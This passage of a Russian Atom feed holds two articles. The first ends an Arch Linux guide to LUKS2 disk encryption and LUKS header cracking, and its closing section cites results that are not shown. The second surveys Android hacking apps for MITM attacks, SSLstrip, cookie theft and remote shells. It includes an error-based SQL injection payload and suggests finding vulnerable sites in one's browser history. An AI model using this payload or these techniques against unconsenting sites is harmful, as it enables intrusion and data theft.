  &lt;p&gt;&lt;code&gt; # genfstab -U /mnt &amp;gt;&amp;gt; /mnt/etc/fstab&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Далее буду проводить настройки системы изнутри. Для этого использую chroot: &lt;code&gt;arch-chroot /mnt&lt;/code&gt;. Первым делом — GRUB. В файле &lt;code&gt;/etc/default/grub&lt;/code&gt; раскомментируй &lt;code&gt;GRUB_ENABLE_CRYPTODISK=y&lt;/code&gt; и замени строки&lt;/p&gt;
  &lt;pre&gt; GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet&amp;quot;
GRUB_CMDLINE_LINUX=&amp;quot;&amp;quot;
&lt;/pre&gt;
  &lt;p&gt;на вот такие:&lt;/p&gt;
  &lt;pre&gt; GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;verbose&amp;quot;
GRUB_CMDLINE_LINUX=&amp;quot;cryptdevice=UUID=7a40a90f-2533-41e0-bb94-fd30f4026544:crypto_root cryptkey=UUID=5F6A-991B:auto:/root_key.bin root=/dev/mapper/crypto_root&amp;quot;
&lt;/pre&gt;
  &lt;p&gt;Обрати внимание, что &lt;code&gt;GRUB_CMDLINE_LINUX=&amp;quot;...&amp;quot;&lt;/code&gt; — одна строка, никаких переносов нет.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/grub-default.png&quot; width=&quot;1585&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Идентификаторы UUID смотри через &lt;code&gt;# blkid&lt;/code&gt;.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/05d376cf31378d05a57b7.png&quot; width=&quot;1502&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol&gt;
    &lt;li&gt;Примерная схема работы:GRUB запросил пароль от раздела &lt;code&gt;/boot&lt;/code&gt;.&lt;/li&gt;
    &lt;li&gt;Пароль подходит? Открыл, прочитал его, нашел initramfs, передал ему управление.&lt;/li&gt;
    &lt;li&gt;Закончил работу, все закрыл и забыл.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;Параметр ядра &lt;code&gt;cryptkey=UUID=5F6A-991B:auto:/root_key.bin&lt;/code&gt; указывает initramfs, где взять ключ от &lt;code&gt;/&lt;/code&gt; — корневого раздела (LUKS2). Если флешка недоступна, он об этом сообщит и запросит пароль. А если ты удалил слот с паролем, то загрузиться не получится.&lt;/p&gt;
  &lt;p&gt;Файл &lt;code&gt;/etc/crypttab&lt;/code&gt; работает схожим с &lt;code&gt;/etc/fstab&lt;/code&gt; образом, только для зашифрованных дисков. В нем указываются все разделы (кроме корневого), которые должны быть &lt;strong&gt;открыты&lt;/strong&gt; при загрузке системы. Конфиг &lt;code&gt;crypttab&lt;/code&gt; читается перед &lt;code&gt;fstab&lt;/code&gt;, но автомонтирование (уже открытых) разделов производит второй. Таким образом, &lt;code&gt;crypttab&lt;/code&gt; — это то, что нужно для открытия &lt;code&gt;/boot&lt;/code&gt; во время загрузки системы, так как GRUB, передав управление initramfs, его закрыл и забыл все ключи.&lt;/p&gt;
  &lt;p&gt;Чтобы не вводить пароль от него дважды (для GRUB и для crypttab), создай и добавь ключ-файл и для раздела &lt;code&gt;/boot&lt;/code&gt;:&lt;/p&gt;
  &lt;pre&gt;# mkdir /root/keys
# dd if=/dev/urandom of=/root/keys/boot_key.bin bs=1024 count=2
# chmod -R 0 /root/keys/
&lt;/pre&gt;
  &lt;p&gt;Добавляй, как обычно:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; # cryptsetup luksAddKey /dev/sda2 /root/keys/boot_key.bin&lt;/code&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/dump-luks1-2.png&quot; width=&quot;1049&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;И теперь используй его для автоматического открытия. В конец &lt;code&gt;/etc/crypttab&lt;/code&gt; допиши: 1&lt;/p&gt;
  &lt;p&gt;crypto_boot UUID=4d053fc0-ded6-4390-9e7c-a8abfa503cd5 /root/keys/boot_key.bin luks,timeout=15&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/crypttab.png&quot; width=&quot;1254&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Для большей надежности перепроверь UUID в &lt;code&gt;/etc/fstab&lt;/code&gt;. Для корневого раздела и для &lt;code&gt;/boot&lt;/code&gt; они должны соответствовать &lt;code&gt;crypto_root&lt;/code&gt; и &lt;code&gt;crypto_boot&lt;/code&gt;, а не &lt;code&gt;sda2&lt;/code&gt; и &lt;code&gt;sda3&lt;/code&gt;.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/cebf420f990e3822ce51a.png&quot; width=&quot;1395&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Осталось добавить компоненты для initramfs с помощью скрипта mkinitcpio. Для этого подредактируй файл &lt;code&gt;/etc/mkinitcpio.conf&lt;/code&gt; и в строку 1&lt;/p&gt;
  &lt;p&gt;HOOKS=(base udev autodetect modconf block filesystems keyboard fsck)&lt;/p&gt;
  &lt;p&gt;добавь &lt;strong&gt;encrypt&lt;/strong&gt;, чтобы получилось&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; HOOKS=(base udev autodetect modconf block encrypt filesystems keyboard fsck)&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;В &lt;code&gt;MODULES=()&lt;/code&gt; допиши &lt;strong&gt;dm_integrity&lt;/strong&gt; и &lt;strong&gt;vfat&lt;/strong&gt;:&lt;/p&gt;
  &lt;pre&gt; MODULES=(dm_integrity vfat)  
&lt;/pre&gt;
  &lt;p&gt;Иначе при загрузке получишь ошибку Kernel doesn’t support dm-integrity mapping. Модуль vfat нужен, так как раздел флешки с ключом — в FAT.&lt;/p&gt;
  &lt;p&gt;Пересобери initramfs:&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/dfcf3a9bdbaee787b4360.png&quot; width=&quot;1040&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;code&gt; # mkinitcpio -p linux&lt;/code&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/mkinitcpio.png&quot; width=&quot;1040&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Последнее, что нужно сделать, — это установить GRUB и сгенерировать для него .cfg-файл командами 1&lt;/p&gt;
  &lt;pre&gt; # grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=crypto_arch
# grub-mkconfig -o /boot/grub/grub.cfg
&lt;/pre&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/grub-install.png&quot; width=&quot;1043&quot; /&gt;
  &lt;/figure&gt;
  &lt;pre&gt; ## Задай пароль для root
# passwd
## Выйди из chroot
# exit
## Отмонтируй все
# umount -R /mnt
## Последний раз все проверь и пиши
# reboot
&lt;/pre&gt;
  &lt;p&gt;Поздравляю, твой свежий Arch Linux установлен на раздел LUKS2 с включенным контролем целостности данных!Парочка топорных тестов скорости дешевого SSD.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/read-write-enc.png&quot; width=&quot;1053&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/read-write-plain.png&quot; width=&quot;1064&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Проверка на прочност��&lt;/h3&gt;
  &lt;p&gt;Это все замечательно, но, если твой диск попадет в руки злоумышленнику, насколько тяжело (или легко) тому будет достать данные? Сейчас проверим.&lt;/p&gt;
  &lt;p&gt;Стоит понимать, что есть множество способов похитить нужную инфу. LUKS защищает данные в офлайне — то есть диск (раздел, контейнер) или закрыт, или отключен от питания вовсе. Иными словами, не думай, что, установив LUKS, ты волшебным образом навсегда обезопасишь данные. Если оставляешь компьютер без присмотра с открытым разделом или пароль записан на стикере, то извини: никакой LUKS тут не поможет.&lt;/p&gt;
  &lt;p&gt;Для тестов я выбрал четыре продукта: два открытых и два коммерческих. Открытые — это &lt;a href=&quot;http://www.spy-soft.net/john-the-ripper-1-7-9/&quot; target=&quot;_blank&quot;&gt;John the Ripper&lt;/a&gt; и &lt;a href=&quot;http://www.spy-soft.net/hashcat/&quot; target=&quot;_blank&quot;&gt;hashcat&lt;/a&gt;. Из коммерческих я знаю продукт &lt;a href=&quot;https://www.elcomsoft.com/&quot; target=&quot;_blank&quot;&gt;ElcomSoft&lt;/a&gt;, но он не поддерживает даже LUKS1, поэтому сразу отпадает. Второй найденный мной вариант — это &lt;a href=&quot;https://www.passware.com/&quot; target=&quot;_blank&quot;&gt;Passware&lt;/a&gt;. Никогда не слышал об этой конторе, нашел через поисковик. Список клиентов серьезный: NASA, министерства обороны и юстиции США и другие.&lt;/p&gt;
  &lt;p&gt;Все инструменты поддерживают GPU. Фермы для майнинга, к сожалению (или к счастью), у меня нет, и в качестве GPU использовалась моя GTX 1050 Ti. Посмотрим, что может эта старушка против LUKS и LUKS2. Для взлома не нужен диск или раздел полностью, достаточно заголовка. Извлекаю их на флешку:&lt;/p&gt;
  &lt;pre&gt; # cryptsetup luksHeaderBackup /dev/sda2 --header-backup-file /flash/boot_header.bin
# cryptsetup luksHeaderBackup /dev/sda3 --header-backup-file /flash/root_header.bin
&lt;/pre&gt;
  &lt;h3&gt;John the Ripper&lt;/h3&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://xakep.ru/wp-content/uploads/2018/08/183904/jtr-version.png&quot; width=&quot;1153&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Ставлю свежую версию и смотрю, что есть в арсенале: 1&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; $ ./john --list=formats --format=opencl | grep -i luks&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Нет вывода. Окей, как насчет CPU?&lt;/p&gt;
  &lt;pre&gt; $ ./john --list=formats --format=cpu | grep -i luks
lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki, monero, money, MongoDB, scram,
&lt;/pre&gt;
  &lt;p&gt;Что поделать, придется довольствоваться CPU. Пробую:&lt;/p&gt;
  &lt;p&gt;&lt;code&gt; $ ./luks2john.py /tmp/boot_header.bin&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Ситуация та же, что и с hashcat, — нет поддержки whirlpool. Беру криптоконтейнер с SHA-256, добавляю брутфорс-атаку. Чтоб сократить время ожидания до минимума, явно указываю &lt;strong&gt;только цифры&lt;/strong&gt; и длину пароля.&lt;/p&gt;
  &lt;p&gt;В результате получаю тринадцать паролей в минуту. Если верить программе, брутфорс шестизначного цифрового пароля займет месяц и 26 дней.&lt;/p&gt;
  &lt;h3&gt;Итоги&lt;/h3&gt;
  &lt;p&gt;Наивно было надеяться, что формат, который сейчас на стадии постоянной доработки, будет поддерживаться хоть каким-нибудь продуктом. На его реализацию нужно потратить время и ресурсы, а спецификация формата может измениться в следующем релизе.&lt;/p&gt;
  &lt;p&gt;Удивило отсутствие поддержки whirlpool. Она в LUKS давно, видимо разработчики не любят париться и отдают предпочтение дефолтным настройкам.&lt;/p&gt;
  &lt;p&gt;По результатам видно, что стандартная PBKDF2 неплохо справляется с задачей. Возможно, перед парой сотен или тысяч GPU она не устоит, но для этого есть новый Argon2.&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:rkERZtKDm</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/rkERZtKDm?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Лучшие хакерские программы для взлома со смартфона</title><published>2018-09-02T15:29:15.535Z</published><updated>2018-09-02T15:29:15.535Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/0d/0d1cc507-4c3d-477f-b460-226f50d52aa4.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/daaaef0b1555d2c57038f.png&quot;&gt;Пентест или по простому тесты на проникновение — легальный способ заниматься настоящим взломом, да еще и получать за это деньги. Продвинутый аудит безопасности обычно выполняется на ноутбуке с Kali Linux и специфическим оборудованием, но многие бреши в безопасности легко обнаружить и с помощью обычного смартфона и планшета. В этой статье мы рассмотрим 14 хакерских приложений, которые позволят вам выполнить пентест с помощью Андроид, не вытаскивая ноутбук.</summary><content type="html">
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/daaaef0b1555d2c57038f.png&quot; width=&quot;660&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Пентест или по простому тесты на проникновение — легальный способ заниматься настоящим взломом, да еще и получать за это деньги. Продвинутый аудит безопасности обычно выполняется на ноутбуке с &lt;strong&gt;Kali Linux&lt;/strong&gt; и специфическим оборудованием, но многие бреши в безопасности легко обнаружить и с помощью обычного смартфона и планшета. В этой статье мы рассмотрим 14 хакерских приложений, которые позволят вам выполнить пентест с помощью Андроид, не вытаскивая ноутбук.&lt;/p&gt;
  &lt;p&gt;Статья написана в исследовательских целях. Вся информация носит ознакомительный характер. Ни автор статьи, ни администрация не несет ответственности за неправомерное использование упомянутых в статье программ.&lt;/p&gt;
  &lt;h3&gt;Хакерские программы для взлома со смартфона&lt;/h3&gt;
  &lt;p&gt;Все хакерские приложения для Андроид делятся на несколько групп:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Сканеры веб-ресурсов — хакерские утилиты для поиска уязвимостей.&lt;/li&gt;
    &lt;li&gt;Комбайны — позволяют искать уязвимости (и эксплоиты для них) как в программной части так и в железе. Выполняют сниффинг, MITM-атаки, и т.д.&lt;/li&gt;
    &lt;li&gt;Снифферы — хакерские приложения для перехвата и анализа трафика.&lt;/li&gt;
    &lt;li&gt;Вспомогательные утилиты — инструменты помогающие в пентесте.&lt;/li&gt;
    &lt;li&gt;Справочники и поисковики — приложения выполняющие вспомогательные функции.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Сканеры веб-ресурсов для Android&lt;/h3&gt;
  &lt;p&gt;Начнем обзор программ для взлома смартфона с самого главного, а именно со сканеров веб-приложений. Здесь у нас три приложения, которые позволят вам найти открытые админки, сбрутить пароль, протестировать сайт на XSS-уязвимости, возможность SQL-инъекций, составить листинги каталогов и многое другое.&lt;/p&gt;
  &lt;h3&gt;Kayra the Pentester Lite&lt;/h3&gt;
  &lt;p&gt;Мобильный сканер уязвимостей веб-приложений Kayra the Pentester Lite ищет типичные ошибки в конфигурации указанного веб-сервера и пытается получить листинг каталогов (обычно — успешно). Среди дополнительных инструментов есть генератор хешей и дешифровщик AES.&lt;/p&gt;
  &lt;p&gt;Приложение обладает простыми и понятными настройками. Поддерживает HTTPS и проверяет корректность TLS. Умеет искать XSS, брутить CGI и выполнять атаки по словарю. Может работать в фоне и в многопоточном режиме. Содержит базу данных Google Hacks и автоматически определяет известные уязвимости.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Kayra-the-Pentester-Lite-3.jpg&quot; width=&quot;972&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;По каждому пункту, отмеченному в настройках сканирования, создается подробный отчет. На скриншоте видно лишь его малую часть. Бесплатная версия довольно функциональна, но иногда раздражает рекламой. В платной версии нет рекламы и ограничений, ее стоимость на момент написания статьи составляет 159 рублей.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=teycode.kayralite&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.4.0&lt;/li&gt;
    &lt;li&gt;Размер: 4,7 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.1 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;DroidSQLi&lt;/h3&gt;
  &lt;p&gt;Следующая хакерская программа для Android — это DroidSQLi. Приложение DroidSQLi служит для проверки веб-сайтов на уязвимость к SQL-инъекциям четырех разновидностей:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Normal SQL injection — классический вариант с передачей параметра UNION ALL SELECT;&lt;/li&gt;
    &lt;li&gt;Error based SQL injection — использование в запросах заведомо неверного синтаксиса для получения сообщения об ошибке, раскрывающего дополнительные параметры БД;&lt;/li&gt;
    &lt;li&gt;Blind SQL injection — серия запросов с анализом ответов true/false от СУБД, позволяющая восстановить структуру базы данных;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Time based SQL injection — формирование дополнительных запросов, вызывающих приостановку СУБД на определенное время, что делает возможным посимвольное извлечение данных.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/DroidSQLi.jpg&quot; width=&quot;973&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Утилита DroidSQLi автоматически подбирает метод инжекта, а также использует техники обхода фильтрации запросов.&lt;/p&gt;
  &lt;p&gt;Для начала тестирования сайта необходимо вручную найти точку входа. Обычно это адрес веб-страницы, содержащий запрос вида ?id=X или ?p=X, где X — целое положительное число. В нашем примере пейлоад для параметра id выглядит так:&lt;/p&gt;
  &lt;p&gt;id=(SELECT 4777 FROM(SELECT COUNT(*),CONCAT(0x71626b6a71,(SELECT (ELT(4777=4777,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&lt;/p&gt;
  &lt;p&gt;В Сети очень много сайтов, уязвимых к SQL-инъекциям. Думаю, вы легко найдете несколько таких, просто посмотрев историю своего браузера.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;http://edgard.net/&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.1&lt;/li&gt;
    &lt;li&gt;Размер: 705 Кбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 4.2 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Droidbug Admin Panel Finder FREE&lt;/h3&gt;
  &lt;p&gt;Следующий инструмент для взлома со смартфонов — это утилита Droidbug Admin Panel Finder FREE. Приложение ищет админские панели по дефолтным адресам разных CMS. Результат ее работы не всегда соответствует реальному положению вещей, поскольку на популярных веб-серверах стоят IDS и WAF. Они блокируют перебор URL или перенаправляют его в honeypot (ловушку), который отвечает HTTP 200 OK на все запросы, а сам собирает инфу об атакующем.&lt;/p&gt;
  &lt;p&gt;Однако на менее популярных сайтах с безопасностью все очень тоскливо, и валидная админская панелька находится за считанные секунды. В платной версии, стоимостью 139 рублей, убрана реклама и разблокирована возможность перебора по смешанному шаблону для сайтов с поддержкой PHP/ASP/CGI/CFM/JS.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Droidbug-Admin-Panel-Finder-FREE.jpg&quot; width=&quot;972&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;http://www.spy-soft.net/go-to/https://play.google.com/store/apps/details?id=com.bugtraqapps.droidbugpanelfinderfree&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 1.4&lt;/li&gt;
    &lt;li&gt;Размер: 6,3 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 2.1 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: нет&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Комбайны для взлома со смартфона&lt;/h3&gt;
  &lt;p&gt;Интернет состоит не только из веб-приложений, и дыры находят не только в них. Следующая подборка хакерских приложений для Андроид позволит вам искать уязвимости (и эксплоиты для них) в софте и железе, выполнять сниффинг, MITM-атаки, оставлять &lt;strong&gt;бэкдоры &lt;/strong&gt;и делать много других интересных вещей.&lt;/p&gt;
  &lt;h3&gt;cSploit&lt;/h3&gt;
  &lt;p&gt;cSploit — это дин из самых функциональных инструментов для сканирования сетей и поиска уязвимостей на обнаруженных хостах. Составляет карту сети и отображает сведения обо всех найденных в ней устройствах. Умеет определять их IP/MAC и вендора (по первым трем октетам MAC-адреса), определять установленную на них ОС, искать уязвимости с помощью Metasploit framework RPCd и брутфорсить пароли.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/cSploit.png&quot; width=&quot;972&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Выполняет MITM-атаки разного типа через спуфинг DNS (возможна замена медиафайлов в трафике на лету, JS-инжекты, угон сессий и захват cookie для авторизации без ввода пароля). Также умеет дисконнектить отдельные устройства (или отключать их скопом от точки доступа). Перехватывает трафик и сохраняет его в формате .pcap или перенаправляет, куда пожелаете.&lt;/p&gt;
  &lt;p&gt;cSploit содержит инструмент для создания и отправки на выбранный хост любого TCP/UDP-пакета. По ссылке взлом роутера перенаправляет на онлайн-сервис для выбора и эксплуатации уязвимостей под определенную модель. База перестала обновляться в 2015 году, но все еще сохраняет актуальность. В моем кратком тесте на роутере ASUS, который выпускается с конца 2016 года, в свежей прошивке (апрель 2018 года) была обнаружена уязвимость, впервые описанная в 2009 году.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/csploit-download.png&quot; width=&quot;972&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Дополнительно cSploit помогает создать на взломанном прошедшем аудит безопасности хосте удаленный &lt;strong&gt;шелл&lt;/strong&gt; и получить над ним полный контроль. В общем, это однозначный must have для пентестеров, и не только для них.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Протестированная версия: 1.6.6 RC2&lt;/li&gt;
    &lt;li&gt;Размер: 3,5 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 2.3 и выше&lt;/li&gt;
    &lt;li&gt;Требуется рут: ДА!&lt;/li&gt;
    &lt;li&gt;Дополнительные требования: установить &lt;strong&gt;BusyBox&lt;/strong&gt; в /system/bin&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;cSploit, Intercepter-NG и другие мощные утилиты заслуживают более подробного рассмотрения в отдельных статьях. Мы предлагаем сперва освоиться с базовыми принципами пентеста на примере простых приложений, а уже затем переходить на хардкор.&lt;/p&gt;
  &lt;h3&gt;dSploit&lt;/h3&gt;
  &lt;p&gt;Форк cSploit от Симоне Маргарителли (Simone Margaritelli), приказавший долго жить в 2014 году. Проект так и остался в стадии бета-версии с очень сырым кодом. Если cSpoit у меня работал без нареканий, то последние три версии dSploit вываливались с ошибкой почти сразу после запуска.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/dSploit.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;С тех пор как Маргарителли устроился в компанию Zimperium, наработки dSploit вошли в состав фирменной утилиты zAnti.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/dSploit-2.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/Androguide/dsploit&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная (не вполне удачно) версия: 1.1.3с&lt;/li&gt;
    &lt;li&gt;Размер: 11,4 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 2.3 и выше&lt;/li&gt;
    &lt;li&gt;Требуется root: ДА!&lt;/li&gt;
    &lt;li&gt;Дополнительные требования: установить &lt;a href=&quot;https://play.google.com/store/apps/details?id=stericson.busybox&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;BusyBox&lt;/strong&gt;&lt;/a&gt; в /system/bin, проявить склонность к мазохизму&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;zAnti&lt;/h3&gt;
  &lt;p&gt;Мобильное приложение для пентеста от Zimperium. Более современный, стабильный и наглядный аналог dSploit.&lt;/p&gt;
  &lt;p&gt;Интерфейс zAnti разделен на две части: сканирование и MITM. В первой секции он, подобно dSploit и оригинальному cSploit, мапит сеть, определяет все хосты, их параметры и уязвимости.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/zanti.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Отдельная функция — определение уязвимостей на самом смартфоне. Согласно отчету программы, наш тестовый Nexus 5 содержит 263 дыры, которые уже не будут закрыты, поскольку срок жизни девайса истек.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/zanti-2.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;zAnti помогает взламывать роутеры и получать к ним полный доступ (с возможностью сменить пароль админа, задать другой SSID, PSK и так далее). Используя MITM-атаки, zAnti выявляет небезопасные элементы на трех уровнях: в ОС, приложениях и настройках устройства.&lt;/p&gt;
  &lt;p&gt;Ключевая особенность — формирование подробного отчета по всем просканированным элементам. Отчет содержит пояснения и советы по устранению найденных недостатков.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/zanti-4.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.zimperium.com/zanti-mobile-penetration-testing&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 3.18&lt;/li&gt;
    &lt;li&gt;Размер: 24 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 2.3 и выше&lt;/li&gt;
    &lt;li&gt;Требуется рут: ДА!&lt;/li&gt;
    &lt;li&gt;Примечания: zAnti не работает на устройствах с процессорами архитектуры x86 и x86_64&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Снифферы для перехвата трафика на Android&lt;/h3&gt;
  &lt;p&gt;Ни одному пентестеру не обойтись без хорошего &lt;strong&gt;сниффера&lt;/strong&gt;. Это такой же обыденный инструмент, как нож на столе повара. Поэтому следующий раздел статьи посвящен приложениям для перехвата и анализа трафика.&lt;/p&gt;
  &lt;h3&gt;Intercepter-NG&lt;/h3&gt;
  &lt;p&gt;&lt;strong&gt;Intercepter-NG&lt;/strong&gt; — это продвинутый сниффер, ориентированный на выполнение MITM-атак. Захватывает трафик и анализирует его на лету, автоматически определяя в нем данные авторизации. Умеет сохранять перехваченный трафик в формате .pcap и анализировать его позже.&lt;/p&gt;
  &lt;p&gt;Среди автоматически определяемых форматов данных есть пароли и хеши для следующих протоколов: AIM, BNC, CVS, DC++, FTP, HTTP, ICQ, IMAP, IRC, KRB5, LDAP, MRA, MYSQL, NTLM, ORACLE, POP3, RADIUS, SMTP, SOCKS, Telnet, VNC.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;http://www.spy-soft.net/wp-content/uploads/Intercepter-NG-Scanning-and-ARP-spoofing.png&quot; width=&quot;775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Intercepter-NG собирает из перехваченных пакетов файлы, передаваемые по FTP, IMAP, POP3, SMB, SMTP и HTTP.Как cSploit и аналоги, Intercepter-NG использует ARP-спуфинг для выполнения MITM. Он поддерживает SSLstrip, что позволяет выполнять MITM-атаки даже с HTTPS-трафиком, подменяя на лету HTTPS-запросы атакуемых хостов их HTTP-вариантами через встроенный DNS-прокси.&lt;/p&gt;
  &lt;p&gt;Вдобавок он умеет определять ARP-спуфинг в отношении себя (полезно при подключении к публичным хотспотам) и защищать от него. При нажатии иконки в виде зонтика проверяется ARP-кеш.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/intercepter-ng/mirror&quot; target=&quot;_blank&quot;&gt;Сайт&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;Протестированная версия: 2.1 (консольная — 0.8)&lt;/li&gt;
    &lt;li&gt;Размер: 5,2 Мбайт&lt;/li&gt;
    &lt;li&gt;Версия Android: 2.3 и выше&lt;/li&gt;
    &lt;li&gt;Требуется рут: ДА!&lt;/li&gt;
    &lt;li&gt;Дополнительные требования: установить &lt;a href=&quot;https://github.com/intercepter-ng/mirror&quot; target=&quot;_blank&quot;&gt;BusyBox&lt;/a&gt; в /system/bin&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Packet Capture&lt;/h3&gt;
